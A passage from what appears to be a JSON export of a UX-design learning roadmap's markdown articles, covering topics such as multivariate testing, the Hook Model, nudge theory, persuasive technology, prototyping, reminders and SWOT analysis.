decision-making.\n\nBy fostering mindfulness in both your design process and your end product, you can create UX experiences that help users better navigate their interactions with technology, avoiding unwanted behaviors and promoting healthier habits.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/multivariate-testing@-_T2nzp1vV1jUcpsC5DI3.md",
    "content": "# Multivariate Testing\n\nMultivariate testing is an advanced user testing method that allows designers to test multiple elements or variations within a single test. Its primary goal is to identify the best-performing variations among several competing design alternatives. Multivariate testing provides insights on how different design variations impact user experience and conversions, and helps in identifying which combination of elements works best for your users.\n\n## How it Works\n\nIn a multivariate test, several design variations are presented to different groups of users simultaneously. The test seeks to measure the performance of each design variation utilizing clearly-defined metrics like conversion rates, number of clicks, or user engagement. Data is collected and analyzed to determine which variation has the greatest positive impact on those pre-identified metrics.\n\n## Key Advantages\n\n- **Optimization**: Multivariate testing enables designers to optimize their designs by identifying the best-performing variations for each element. This ultimately leads to improved overall performance of the user interface.\n- **Increased Confidence**: By comparing multiple design elements simultaneously, designers can gather data-driven insights to make informed decisions, increasing confidence in their design choices.\n- **Efficiency**: Multivariate testing enables designers to test several elements in a single test. This saves time, effort, and resources compared to testing each element individually.\n\n## When to Use Multivariate Testing\n\n- **Complex Designs or High Traffic**: Multivariate testing is particularly suitable for complex designs with multiple combinations, or situations when the design is expected to generate high traffic.\n- **Confirming Best-Performing Variations**: When simplistic A/B testing does not provide enough information to determine which variation is the best, multivariate testing can provide deeper insights.\n- **When Hypotheses are Uncertain**: If you're unsure which design element is responsible for driving desired user behavior, a multivariate test can provide valuable information to guide your design decisions.\n\n## Things to Consider\n\nMultivariate testing may require a larger user sample size compared to A/B testing, as more variations of the design are being analyzed. Additionally, this method works best when there is sufficient traffic or a high volume of user engagement.\n\nKeep in mind that while multivariate testing can provide valuable insights, it's important not to lose sight of the big picture. Focus on testing elements that are truly critical to your design goals and prioritize user feedback at every stage of the process.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/nir-eyals-hook-model@PLLTcrHkhd1KYaMSRKALp.md",
    "content": "# Nir Eyal’s Hook Model\n\nThe Hook Model is a concept developed by Nir Eyal, a writer and entrepreneur. It is a framework designed to help create habit-forming products and services by engaging users on a deeper level. Eyal's model is based on four key components, which are meant to encourage user interactions and repeat usage, ultimately leading to user addiction. These components are:\n\n- **Trigger:** Triggers are cues that prompt users to take action, either through external stimuli or internal motivations. External triggers can be notifications, advertisements, or even recommendations from friends, while internal triggers stem from users' thoughts or emotions, such as boredom or a need for social connection.\n\n- **Action:** The action is the simple task the user performs in response to the trigger. The action will depend on the context and product, but generally, it should be easy to do and have a clear connection to the trigger. An example might be swiping left or right on a dating app after receiving a notification.\n\n- **Variable Reward:** Rewarding users for taking action is an essential part of the Hook Model. Variable rewards refer to the idea that users receive varying levels of gratification for their actions - this unpredictability keeps them engaged and curious. Social media platforms are excellent examples, as users receive likes, comments, or retweets randomly, prompting them to keep interacting to trigger more rewards.\n\n- **Investment:** This component focuses on users investing time or effort into the product, which increases the likelihood of future engagement. An investment might include creating a profile, adding friends, or curating content. Users often feel a sense of ownership after investing in a product, making them more likely to return and continue using it.\n\nBy incorporating these components into your UX design, you can create experiences that encourage users to develop habits and become more attached to your product. Keep in mind, however, that \"addiction\" is not the primary goal - rather, it's about promoting genuine value and enhancing users' lives in a positive manner.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/nudge-theory@6ffY5wO-XhkiDJJ5YcI0x.md",
    "content": "# Nudge Theory\n\n**Nudge Theory** is a behavioral science concept that focuses on understanding how humans make choices and how small, subtle changes in our environment can have a significant impact on our decision-making process. Developed by Richard Thaler and Cass Sunstein, the central idea is that by \"nudging\" people's behavior in a specific direction, we can encourage them to make better, more informed decisions without the need for heavy-handed rules or regulations.\n\nIn the context of UX design, nudge theory can be applied in various ways to influence user behavior and drive desired outcomes. This might include:\n\n- **Choice Architecture**: Designing the layout and ordering of choices in a way that influences user decisions. For example, placing more desirable options at the top of a list or making them more visually prominent.\n- **Defaults**: Setting default options that encourage users to make better decisions. For example, pre-selecting a more environmentally-friendly shipping option or having a privacy setting enabled by default.\n- **Social proof**: Showing how others have made similar choices or have had positive experiences. For example, presenting product ratings and reviews, or indicating that a large number of users have taken a particular action such as signing up for a newsletter.\n- **Timely interventions**: Providing guidance or prompts at the right moment in the user's journey. For example, offering help when a user encounters a complex task or reminding them of the benefits of completing a process when their motivation may be wavering.\n\nWhen applying nudge theory in UX design, it's crucial to maintain a balance between encouraging positive behaviors and respecting user autonomy. Designers should aim to empower users with meaningful choices and useful information, rather than manipulating or deceiving them.\n\n- [@video@Nudge Theory Explained in less than 10 minutes](https://youtu.be/fA5eGIMZTRQ)\n- [@article@Nudge Theory overview with examples](https://www.businessballs.com/improving-workplace-performance/nudge-theory/)"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/persuasive-technology@K22gvF9DLt0Ikc80yZLCb.md",
    "content": "# Persuasive Technology\n\nPersuasive technology is an area of UX design that focuses on using technology to influence human behavior and encourage users to take specific actions. It combines the principles of psychology and design to create experiences that impact user behavior in a desired way. The goal of persuasive technology is to subtly persuade or encourage users to adopt specific habits or behaviors, often with the intent of improving their overall experience or achieving a particular outcome.\n\nSome common examples of persuasive technology include:\n\n- **Reinforcement**: Providing users with positive feedback or rewards for completing specific actions (e.g., badges or points in a gamified interface).\n\n- **Social influence**: Leveraging social connections and norms to encourage actions or decisions, such as displaying the number of friends who have also enjoyed a product on a shopping site.\n\n- **Scarcity**: Using the concept of scarcity (limited availability, time-limited offers) to instill a sense of urgency in users and encourage them to take action before they miss out.\n\n- **Personalization**: Tailoring content or experiences to the individual user based on their preferences, behaviors, or demographic information, which makes the experience more relevant and engaging.\n\n- **Commitment and consistency**: Encouraging users to make small commitments with the intent to build towards larger commitments over time, often through a progression of small tasks or milestones.\n\nIncorporating persuasive technology into UX design can lead to more engaging and effective user experiences. However, it's crucial to use these techniques responsibly and ethically, ensuring that the end goal aligns with the best interests of users and does not exploit or manipulate them in any negative way.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/planners@eYZf67rnhOksfh44hnzHg.md",
    "content": "# Planners\n\nPlanners are an essential aspect of UX design, helping users accomplish complex tasks by breaking them down into manageable steps. Planners are particularly useful in situations where users are expected to make decisions or deal with a range of options. They help to create an engaging and interactive experience, guiding users to achieve their goals efficiently.\n\n## Characteristics of Planners\n\nThere are a few key characteristics that define planners in UX design:\n\n- **Clear Guidance:** Planners provide clear instructions and guidance on the various steps involved, making it easier for users to navigate through the process.\n\n- **Progress Indicators:** Planners typically use some form of progress indicator, such as a progress bar or a checklist, to show users how far along in the process they are.\n\n- **Error Prevention & Handling:** Planners strive to prevent user errors by providing input validation, feedback, and clear guidelines on what needs to be done. They also handle errors effectively, allowing users to recover and move forward, without getting frustrated.\n\n- **Flexibility:** Planners offer users the flexibility to complete tasks at their own pace, and provide options for changing or updating information at any stage in the process.\n\n- **Consistency:** Planners maintain consistency in the design and presentation of information, ensuring that the user experience is familiar and predictable at all times.\n\n## Types of Planners\n\nThere are various types of planners used in UX design, depending on the specific needs of the project:\n\n- **Decision Trees:** These provide users with a sequence of binary options, guiding them through a series of choices until they reach a specific end result.\n\n- **Wizards:** These are step-by-step guides that walk users through a process, presenting one question or task at a time, and only moving on once the user has completed the previous step.\n\n- **Task Checklists:** These provide users with a list of sub-tasks or actions they must complete in order to achieve a larger goal. Users can check-off tasks as they complete them, and see their progress towards the goal.\n\n- **Interactive Conversations:** These mimic a conversational interaction between the user and the system, using natural language processing to guide users through tasks or decision-making processes.\n\n## Implementing Planners\n\nWhen incorporating planners into your UX design, consider the following best practices:\n\n- Identify the core tasks or decisions your user needs to make and create a logical flow for each process.\n\n- Use clear and concise language to guide users through steps, ensuring instructions are easy to follow and understand.\n\n- Implement appropriate progress indicators or feedback mechanisms to show users how close they are to completing the task.\n\n- Focus on error prevention and offer easy ways for users to recover from mistakes.\n\n- Ensure that your planner design is consistent with the overall user interface and user experience goals, while also being flexible to accommodate user preferences and habits.\n\nBy following these best practices and tailoring planners to meet the needs of your users, you can create a more engaging and user-friendly experience that allows users to complete complex tasks with ease.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/prime-user-relevant-associations@jBQtuiHGl3eyCTZG85Vz5.md",
    "content": "# Prime User-Relevant Associations\n\nPriming user relevant associations is a vital concept in UX design, aiming to create positive associations with various aspects of the user's experience. To achieve this, designers must tap into the cognitive aspects influencing a user's perception, decision-making, and overall satisfaction with the product or service.\n\n## Understanding User Relevance\n\nTo prime user-relevant associations, it's essential to first understand the users and their expectations. Conduct user research to identify their motivations, preferences, and context of use. This helps in shaping the product's design and creating experiences that resonate with their specific needs and desires.\n\n## Creating Meaningful Experiences\n\nFoster meaningful experiences to evoke positive emotions and establish strong resonating associations. This can be done through:\n\n- Consistent Branding: Provide a cohesive and continuous visual language throughout the experience. Create harmony by using uniform colors, typography, imagery, and overall design system.\n\n- Emotional Design: Create memorable experiences by incorporating emotionally-driven visuals, copy, and interactions. Appeal to users' emotions through the use of storytelling, relatability, and various other persuasive techniques.\n\n- Design for Real-life Usage: Understand and address user pain points by offering practical solutions. Design for the user's context of use so they find purpose in the product.\n\n## Reinforcing Positive Associations\n\nConstant reinforcement of positive associations is crucial throughout the user journey. This can be achieved by:\n\n- Timely Feedback: Ensure that the user receives feedback on the outcome of their actions, both for successful and unsuccessful attempts. Use appropriate visual and auditory cues to guide users and reassure them of their progress.\n\n- Reward System: Encourage users through rewards - this could be as simple as congratulatory messages or more complex mechanisms like progress bars or achievements.\n\n- Personalization: Customize the user experience to each individual user, tailoring the content, visuals, and interactions as per their preference and past behaviors.\n\n## Benefits\n\nBy successfully priming user-relevant associations, designers can:\n\n- Foster user satisfaction\n- Build trust and credibility\n- Establish long-lasting customer relationships\n- Increase user engagement and product adoption\n- Encourage brand loyalty\n\nBy closely understanding and addressing users' needs and preferences, UX designers can create favorable conscious evaluations and ultimately lay a solid foundation for a successful user experience.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/prototyping@6yCBFwntQ_KxFmmGTJ8iR.md",
    "content": "# ProtoTyping\n\nPrototyping is a crucial stage in the UX design process, where designers create a representation of the product to test its usability and functionality. This allows designers to uncover any issues, gather feedback, and iterate on the design before the actual development stage. Prototypes can range from simple sketches to fully interactive and detailed models. There are several types of prototyping, such as:\n\n## Low-Fidelity Prototyping\n\nLow-fidelity prototypes are simple, rough representations of the design that focus on the overall structure and main functionalities. They are fast to create and allow designers to quickly test ideas and gather user feedback. Examples include:\n\n- Paper sketches: Drawings made on paper that convey the basic layout and structure of the interface.\n- Wireframes: Simple digital representations of the user interface, showing the placement of elements without any visual styling.\n\n## High-Fidelity Prototyping\n\nHigh-fidelity prototypes are more detailed and interactive, closely resembling the final product. They include the visual design, animations, and interactions, allowing for effective user testing and showcasing the design to clients or stakeholders. Examples include:\n\n- Interactive mockups: Clickable representations of the interface that incorporate visual design and interactions, often created using prototyping tools such as Sketch, Adobe XD, or Figma.\n- HTML prototypes: Interactive prototypes built using HTML, CSS, and JavaScript, which can be a good option if the designers have coding skills and want a more accurate representation of the final product.\n\n## Choosing the Right Prototyping Method\n\nThere is no one-size-fits-all approach to prototyping. The best method depends on factors such as the project's goals, the stage of the design process, available resources, and the level of detail needed. Generally, low-fidelity prototyping is best for early stages of design, when the focus is on testing the main structure and functionality, while high-fidelity prototyping is better suited for later stages when refining the visual design and interactions.\n\n## Benefits of Prototyping\n\nPrototyping is essential in UX design because it:\n\n- Saves time and money: By identifying and addressing usability or design issues early in the process, you can avoid costly redesigns or development changes.\n- Facilitates collaboration: Prototypes enable designers, stakeholders, and developers to discuss the design and give meaningful feedback.\n- Enhances user experience: Iterative testing and refining the design based on feedback ensures the final product meets user needs and expectations.\n\nIn conclusion, prototyping is a crucial step in the UX design process that helps designers test ideas, gather feedback, and iterate on the design, ultimately leading to a more user-centered final product.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/remind-of-prior-commitment-to-act@kR-UbUFdELVeiPJqT0GlZ.md",
    "content": "# Remind of Prior Commitment to Act\n\nSometimes, users need a gentle reminder of the commitments or decisions they've made in the past to help them move forward in their user journey. As a UX designer, you can incorporate these reminders to create a sense of urgency and promote desired actions from users.\n\n## Benefits of Reminding Users of Prior Commitments\n\n- **Motivate users to act**: When reminded of a commitment they've already made, users are more likely to follow through with the action, especially if they feel they've invested time or resources toward that action.\n- **Create a sense of urgency**: By emphasizing the importance of their commitments, users are more likely to prioritize their tasks and act sooner.\n- **Promote consistency**: Reminding users of their prior commitments can promote consistency in their behavior and decision-making, leading to a better user experience.\n\n## Strategies to Remind Users of Prior Commitments\n\n- **Display progress indicators**: Show users how far they have come in a process, such as filling out a form or completing a survey, to remind them of their progress so far.\n- **Use notifications**: Send timely notifications or reminders to remind users of their prior commitments, such as appointments they made or tasks they wished to complete.\n- **Leverage personalized content**: Customize content to emphasize a user's previous actions, for example, by showing related products based on prior purchases, or pre-filling forms with previously entered data.\n- **Create social proof**: Showcase testimonials, reviews, or follower counts to remind users of their decision to join a community or use a product, creating a sense of belonging and reinforcing their initial commitment.\n\nBy incorporating reminders of prior commitments in the user experience, you can make users feel more invested in the process, create a sense of urgency, and ultimately, improve the overall UX design.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/reminders--planning-prompts@wFWidrOZ5EHPgo9uuUclK.md",
    "content": "# Simple Reminders and Planning Prompts\n\nIn the realm of UX design, **reminders and planning prompts** are essential components that ensure users remember to complete specific actions or tasks at the right time. By including these prompts within the user flow, you can aid users in staying on track and reduce the likelihood of missed deadlines or incomplete tasks.\n\n## Why Use Reminders and Planning Prompts?\n\nUsers often have multiple tasks to juggle simultaneously, making it easy for things to slip through the cracks. By incorporating reminders and planning prompts into your application, you can help combat:\n\n- **Forgetfulness**: People sometimes need a gentle nudge to remember their next step or obligation.\n- **Procrastination**: Timely reminders can encourage users to prioritize their tasks and meet deadlines.\n- **Lack of motivation**: Well-crafted planning prompts can inspire users to take action and stay engaged with your product.\n\n## Types of Reminders and Planning Prompts\n\nTo provide effective, well-timed reminders and prompts, consider employing the following methods:\n\n- **Push notifications**: Utilize mobile or desktop notifications to remind users about upcoming tasks, appointments, or deadlines.\n- **In-product prompts**: Place on-screen prompts to encourage users to take specific actions while using the application.\n- **Email reminders**: Send scheduled emails to users as reminders for tasks or appointment confirmation.\n- **Badges**: Use badges or other visual cues to indicate pending tasks, such as unread messages or incomplete items in a to-do list.\n- **Calendar integration**: Integrate your application with calendar tools, so users can easily add and access reminders and events.\n\n## Strategies for Effective Reminders and Planning Prompts\n\nTo ensure that your reminders and planning prompts encourage users to take action, follow these guidelines:\n\n- **Customization**: Allow users to customize their reminders, such as setting preferred notification times or choosing the method of delivery.\n- **Context**: Provide context around the reminder so users have enough information upfront to determine the task's priority.\n- **Actionable**: Make your reminders engaging and actionable, so users can directly take action from the reminder or prompt.\n- **Timeliness**: Consider the user's time zone and availability when scheduling reminders and plan accordingly.\n\nIncorporating reminders and planning prompts into your UX design strategy can improve user engagement, satisfaction, and product success. By considering the different types and strategies outlined above, you can create a user experience that keeps your audience actively engaged with your application.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/reminders@esWGzYUJwv7_xGjq6kpVE.md",
    "content": "# Reminders\n\n**_Reminders_** play an essential role in the user's experience, especially when it comes to retaining user attention and engagement. They can be helpful in making sure that the user stays focused on their tasks, remembers essential information or deadlines, and continually interacts with your product or design.\n\n## Importance of Reminders\n\n- **User Engagement**: Reminders can act as an opportunity to drive users back to your app or website, ensuring they don't forget to use your product or service.\n- **Timely Notifications**: When a reminder is well-timed and relevant, it can be a useful tool to prevent users from missing out on crucial information or essential tasks.\n- **Positive User Experience**: Effective use of reminders can create a positive experience for users, making them feel supported and confident in using your product or service.\n\n## Types of Reminders\n\nThere are several types of reminders that can be used in UX design. Here are some common ones:\n\n- **Time-based Reminders**: Set at specific intervals or times, these reminders are designed to ensure users don't forget important tasks or events related to your product or service.\n- **Location-based Reminders**: Triggered by entering or leaving certain locations, these reminders can be useful for tasks related to a specific place or area.\n- **Action-based Reminders**: Initiated by user actions, these reminders can provide useful prompts or follow-up actions based on user behaviors within your app or website.\n\n## Best Practices\n\nHere are a few best practices to consider when incorporating reminders into your UX design:\n\n- **Be Timely and Relevant**: Ensure that reminders are helpful to the user by making them timely and relevant to the user's needs.\n- **Keep it Simple**: Use clear, concise language that is easy for users to understand and act upon.\n- **Avoid Overloading Users**: Too many reminders can become overwhelming and irritating, negatively impacting the user experience. Strike a balance between providing important reminders and respecting the user's time and attention.\n- **Allow Personalization**: Where possible, provide the user with options to customize the timing and frequency of reminders, enabling them to personalize their experience to suit their preferences.\n- **Consider Design Elements**: Reminders can be delivered through several methods, including in-app notifications, push notifications, and emails. Consider the most appropriate method for your user base and ensure the design of the reminder is visually appealing and easy to engage with.\n\nIn conclusion, thoughtfully implemented reminders can significantly enhance the user experience and improve user engagement, retention, and satisfaction. By following best practices and considering the user's needs, you can create effective reminders that users appreciate and value.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/replace-the-routine@_C-55tciBzc6_Kyk6272k.md",
    "content": "# Replace the Routine\n\nIn the UX design process, understanding and working with existing user behavior is crucial. One key aspect of this is the concept of \"replace the routine\". This involves observing and analyzing the current habits and routines of your users, and then designing your product around it.\n\nReplacing the routine in UX design is about finding more efficient, delightful, and engaging ways for users to complete their tasks. You should not look to force a completely new set of behaviors upon your users but instead improve their experience by offering a better alternative to their existing habits.\n\nConsider the following points when replacing the routine:\n\n- **Understand the user's context**: Study the users’ life cycle and create personas to better comprehend their needs. This helps you identify their preferences, pain points, and habits, which in turn enables the creation of a meaningful and effective design.\n\n- **Identify the existing routine**: Analyze the current habits and routines of your users. What are the steps they are used to taking in order to complete the task? This information will be vital in designing a product that smoothly replaces their existing routine with an improved one.\n\n- **Design an improved routine**: Create a new user flow that achieves the same goal but in a manner that is more efficient, simpler, and more intuitive for the user. This new routine should leverage the knowledge you have gained about your users and their preferences.\n\n- **Test the new routine**: The importance of usability testing cannot be overstated. Validate your design by having real users test it out, and gather feedback to identify any areas that can be further optimized. Ensure that the new routine actually improves upon the existing one and doesn't create any new confusion.\n\n- **Iterate and refine**: UX design is an ongoing process. Continuously refine and optimize the new routine based on the user feedback and changing user behavior trends.\n\nBy adopting the \"replace the routine\" approach in your UX design, you can provide your users with a better experience that aligns with their existing behaviors, while also introducing new efficiencies and possibilities. Doing so increases user satisfaction, promotes adoption, and ultimately leads to happier, loyal users.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/simple-flowchart@JCP5_jyvh9u7hxp379iW2.md",
    "content": "# Simple Flowchart\n\nA simple flowchart is a useful deliverable in the UX design process that helps visually represent the flow of a user's journey through a website or an app. It's a diagrammatic representation of the user interactions and decision points, showcasing the steps they will take to achieve a specific goal.\n\nThis straightforward visual aid can assist the entire project team, including designers, developers, and stakeholders, to understand the overall structure and organization of the proposed design solution.\n\n## Key Elements of a Simple Flowchart\n\n- **Shapes**: Standard shapes like rectangles, diamonds, and ovals are utilized to indicate different actions or decisions in a flowchart. Each shape has a specific meaning, which aids in understanding the flow of the user interaction.\n- **Lines and Arrows**: These are used to connect the various shapes and define the sequence of steps.\n- **Labels**: Brief descriptions or texts inside the shapes describe the action, decision, or process represented by that particular shape.\n\n## Benefits of Using Simple Flowcharts\n\n- **Shared Understanding**: Flowcharts are easy to read and understand, fostering a shared understanding between team members and stakeholders.\n\n- **Effective Communication**: They provide a clear way to communicate the steps involved in a process, making it easier for teams to discuss and collaborate.\n\n- **Identifying Potential Issues**: Flowcharts help identify potential bottlenecks or points of friction in a user's journey, enabling the team to address issues early in the design process.\n\n- **Documentation**: As a deliverable, flowcharts can serve as documentation, capturing the broader structure and steps in a process for future reference.\n\nTo create a simple flowchart, start by listing all the essential steps and decisions in the user journey you want to document. Organize them sequentially and then use standard shapes and arrows to create the flowchart. Make sure to include annotations or labels to clarify the meaning of each shape.\n\nIn summary, a simple flowchart is a valuable UX deliverable that helps visualize user interactions and design solutions in an easy-to-understand format, facilitating better communication and collaboration within project teams.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/sketch@nb7Ql1gvxqEucsGnIWTyY.md",
    "content": "# Sketch\n\nSketch is a powerful digital design tool specifically tailored for user interface (UI) and user experience (UX) design. As part of the creative process, designers use Sketch to create wireframes, visual mockups, and interactive prototypes that help plan and iterate their ideas.\n\n## Key Features\n\n- **Vector-based:** Unlike pixel-based software (such as Photoshop), Sketch uses vector shapes, enabling you to create crisp and clean designs that can scale to any resolution without losing quality.\n\n- **Artboards:** Artboards provide designated spaces within your canvas to create designs for various screen sizes, devices and orientations. This makes it easier to design and test responsive layouts.\n\n- **Symbols:** Symbols are reusable design components, such as buttons, icons, or navigation menus. When you update a symbol, all instances of it across your designs will be updated, making it a huge time-saver.\n\n- **Export options:** Sketch supports multiple export formats (PNG, JPG, SVG, etc.) and provides options to optimize your assets for different platforms, such as iOS or Android.\n\n- **Collaboration and Plugins:** Sketch offers a wide range of plugins and integrations for collaborative work and extends its functionality via community-driven addons.\n\n- [@official@Sketch Website](https://www.sketch.com/)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/social-sharing@FoKtBRuTuMD2SZDHLWS-5.md",
    "content": "# Social Sharing\n\nIn the realm of UX design, **Social Sharing** is a crucial pattern that allows users to share content from a website or app to various social media platforms. It helps in creating interaction between users and the content, engaging the audience and generating more traffic to the source.\n\n## Benefits of Social Sharing\n\n- Increase in brand visibility and awareness\n- Drive more traffic to the website or app\n- Higher chances of content going viral\n- Encourages engagement and conversation around your content\n- Improves organic search rankings\n\n## Designing Effective Social Sharing Buttons\n\n- **Positioning**: Place the social sharing buttons at an easily accessible location on the page, e.g., top, bottom, or alongside the content.\n- **Size and Style**: Opt for clear and recognizable social icons that are easy to tap or click. Ensure their size is adequate to avoid any UX issues.\n- **Customization**: Tailor the design of social sharing buttons to complement your website or app's visual appeal.\n- **Selective platforms**: Focus on the most popular or relevant social media platforms for your target audience; not every platform may be necessary.\n- **Share counts**: Show the number of shares for individual content pieces when appropriate, as it adds social proof and encourages more shares.\n- **Mobile optimization**: Ensure your social sharing buttons are functional and visually appealing on mobile devices, as a significant portion of sharing occurs via mobile.\n\nIncorporating social sharing into your UX design not only provides opportunities for increased engagement but also serves as an effective marketing tool. Remember, a well-designed and strategically placed social sharing component can lead to a higher reach and greater success for your brand.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/spectrum-of-thinking-interventions@0Df110GZcDw5wbAe1eKoA.md",
    "content": "# Spectrum of Thinking Interventions\n\nThe _Spectrum of Thinking Interventions_ provides a structure for understanding the different types of decision-making processes by illustrating how our minds would respond in a _default, lowest energy way_, if we didn't consciously do something different. This spectrum ranges from situations requiring minimal thought to those demanding intensive thinking, and includes  the mechanisms (\"interventions\") that our minds will likely use.\n\n- **Habits:** Triggering a learned routine based on familiar cues\n- **Other intuitive responses:** Used in familiar or semi-familiar situations, with responses based on past experiences\n- **Active mindset or self-concept:** Used in ambiguous scenarios with multiple possible interpretations\n- **Heuristics:** Used in situations requiring conscious attention, but where decisions can be made more easily\n- **Focused, conscious calculation:** Used in unfamiliar scenarios or crucial decisions where deliberate focus is needed\n\nWith this spectrum in mind, it is essential as a UX designer to leverage on the mind's decision-making process, analyze which mechanisms are most applicable to your target users and design the most accessible and effective solutions.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/status-reports@G4Ap91NgZfkV-54EuWe-Z.md",
    "content": "# Status Reports\n\nStatus reports are an essential component of UX patterns that aid in keeping users informed about the current state of the system, task progress, and any relevant updates. By providing real-time feedback, users can understand the outcome of their actions which ultimately helps in building trust, reducing confusion, and enhancing overall user satisfaction.\n\nHere are some key aspects to consider when designing status reports for your application:\n\n## Timing\n\nChoose the appropriate time to display status reports so that it doesn't interrupt the user's ongoing activities. For instance, progress bars should be visible only when a task requires some time to complete, while error messages should appear right after an incorrect input.\n\n## Placement\n\nPosition the status reports in a way that they naturally draw users' attention without distracting them from their primary tasks. Some commonly used placements include the top or center of the page for critical alerts, and near the input fields for validation feedback.\n\n## Content\n\nKeep the content of your status report simple, concise, and informative. It should be easy for the user to understand what's happening and, if necessary, provide clear instructions on how to proceed. Avoid jargon and use plain language that users can easily comprehend.\n\n## Visual Hierarchy\n\nDesign your status reports using visual hierarchy principles to prioritize the most important information. Make use of contrast, typography, and other visual elements to help users quickly understand the message and its level of importance.\n\n## Accessibility\n\nEnsure your status reports are accessible by providing descriptive text, like alternative text for images, or using ARIA roles for screen readers. This ensures that users with disabilities can also benefit from these useful reports.\n\n## Dismissal\n\nOffer users the option to dismiss non-critical status reports as per their preference. This can be done by providing a close button for banners, tooltips, and pop-ups.\n\nIn conclusion, status reports are a valuable aspect of UX design that effectively communicate essential information to users, thus improving their overall experience with your product. Integrating these principles into your UX pattern can considerably enhance your design's effectiveness and user satisfaction.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/support-conscious-action@PTZROvpPtEvu06szwmt4K.md",
    "content": "# Support Conscious Action\n\nThe process of changing user behavior involves understanding the factors that influence the way people interact with your product, and applying strategies to help users adopt new, desirable behaviors. The goal is to make users feel comfortable and confident while using your product, ultimately creating a more enjoyable and effective user experience.\n\nThere are several key principles and strategies for changing user behavior in UX design:\n\n- **Understand the user's current behavior**: To effectively change user behavior, you first need to understand their current habits and patterns. Conduct user research through interviews, surveys, and observation to identify their pain points and motivations.\n\n- **Set clear goals**: Define specific, measurable, attainable, and relevant goals for the behavior change you want to achieve. This might include increasing the number of completed tasks or reducing the time taken to complete tasks.\n\n- **Leverage behavioral psychology**: Utilize theories and models from behavioral psychology, such as the Fogg Behavior Model or the Theory of Planned Behavior, to design interventions that target key aspects of user behavior. These models can help explain the relationship between different factors that influence behavior, such as motivation, ability, and triggers.\n\n- **Design for simplicity**: Make it as easy as possible for users to adopt the desired behavior. Reduce barriers, streamline processes, and minimize the cognitive load required to perform tasks.\n\n- **Provide feedback and reinforcement**: Help users understand the impact of their actions by providing immediate, clear, and specific feedback. Positive reinforcement, such as rewards or praise, can also encourage users to continue engaging in the desired behavior.\n\n- **Leverage social influence**: People are often influenced by the behaviors of others, so consider incorporating elements of social proof, competition, or collaboration into your UX design.\n\n- **Personalize the experience**: Tailor your onboarding process, messaging, and content to the individual preferences and learning styles of your users. This can improve engagement and increase the likelihood of behavior change.\n\n- **Iterate and evaluate**: Continuously test and refine your design to improve the effectiveness of your behavior change strategies. Evaluate the success of your interventions by measuring changes in user behavior and adjusting your approach accordingly.\n\nBy applying these strategies in your UX design, you can change user behavior and drive positive outcomes for your users and your product.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/swot-analysis@XiEn1OGFY1bMCoB0Pk8N_.md",
    "content": "# SWOT Analysis\n\nA SWOT analysis is a useful tool for assessing the strategic position of a company or product. It stands for:\n\n- **Strengths**: Identify the internal factors that give an advantage over the competition. Examples include a strong brand presence, skilled workforce, or access to unique resources.\n- **Weaknesses**: These are internal factors that may hinder your business growth or success. Examples include limited resources, outdated technology, or poor management.\n- **Opportunities**: These are external factors that can be seized to grow or improve the business. Examples include an expanding market, technological advancements, or potential partnerships.\n- **Threats**: These are external factors that may negatively impact the business, such as competitors, government regulation, or economic instability.\n\nPerforming a SWOT analysis can help you identify and prioritize the areas that need improvement, capitalize on opportunities, and address significant threats before they become a crisis. This analysis not only provides valuable insights into your current situation but also helps you prepare for the future by assessing risks and potential areas for growth.\n\nTo ensure a comprehensive SWOT analysis, follow these steps:\n\n- **Gather Relevant Information**: Begin by collecting data on internal strengths and weaknesses, such as financial performance and organizational structure. For the external analysis, examine market trends, competitor strategies, and other factors impacting the business environment.\n- **Notable Factors**: List down factors impacting your business's performance and classify them under strengths, weaknesses, opportunities, and threats.\n- **Evaluate and Prioritize**: Assess the importance of each item within the SWOT matrix, considering both its impact on the business and the resources required to address it.\n- **Develop Strategies**: Use the SWOT results to create effective strategies that leverage strengths, address weaknesses, capitalize on opportunities, and mitigate threats.\n- **Monitor Progress**: Continuously track the progress of your strategies, assessing their effectiveness and updating the SWOT analysis as required.\n\nIn summary, a SWOT analysis can serve as an excellent starting point in creating a robust UX design strategy. By understanding the internal and external factors influencing your business, you can make informed decisions while designing user experiences that resonate with your target audience and promote business growth.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/target-action@AXn-N15U_z4OagClNoXrW.md",
    "content": "# Target Action\n\nTarget action is a fundamental concept in designing user experiences that focuses on the primary goal a user wants to achieve while interacting with your product. It refers to the specific action or task users are aiming to complete, which helps them solve their problem or fulfill a need.\n\nUnderstanding the target action helps you create a more streamlined and effective design by optimizing the interface, elements, and navigation around users' primary goals. Here are the key aspects of target action:\n\n- **Identify the Target Users:** To begin with, know your audience. Consider demographics, interests, and behaviors to get a clear picture of who your target users are. This will help you align the product design with users' needs and expectations.\n\n- **Determine User Goals:** Understand what users want to achieve with your product. Analyze their needs, preferences, pain points, and habits to identify their primary goals.\n\n- **Establish Clear Actions:** Based on user goals, determine the most critical actions they need to perform within your product. Simplify these actions by making them clear, obvious, and easy to access.\n\n- **Design for Success:** Prioritize target actions in your design. Focus on providing a clear path and guiding users towards attaining their goals by emphasizing essential elements, simplifying decision-making, and minimizing distractions.\n\n- **Validate with Testing:** Verify whether your design indeed supports users in achieving their target actions by conducting usability tests. Gather user feedback, analyze the results, and iterate the design until users can effortlessly complete their primary goals.\n\nBy incorporating the target action concept in your UX design process, you'll be able to create a more intuitive and user-centric product that effectively addresses users' primary goals and maximizes user satisfaction.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/target-actor@FRn2MaR0-ehSD3zmwXcCI.md",
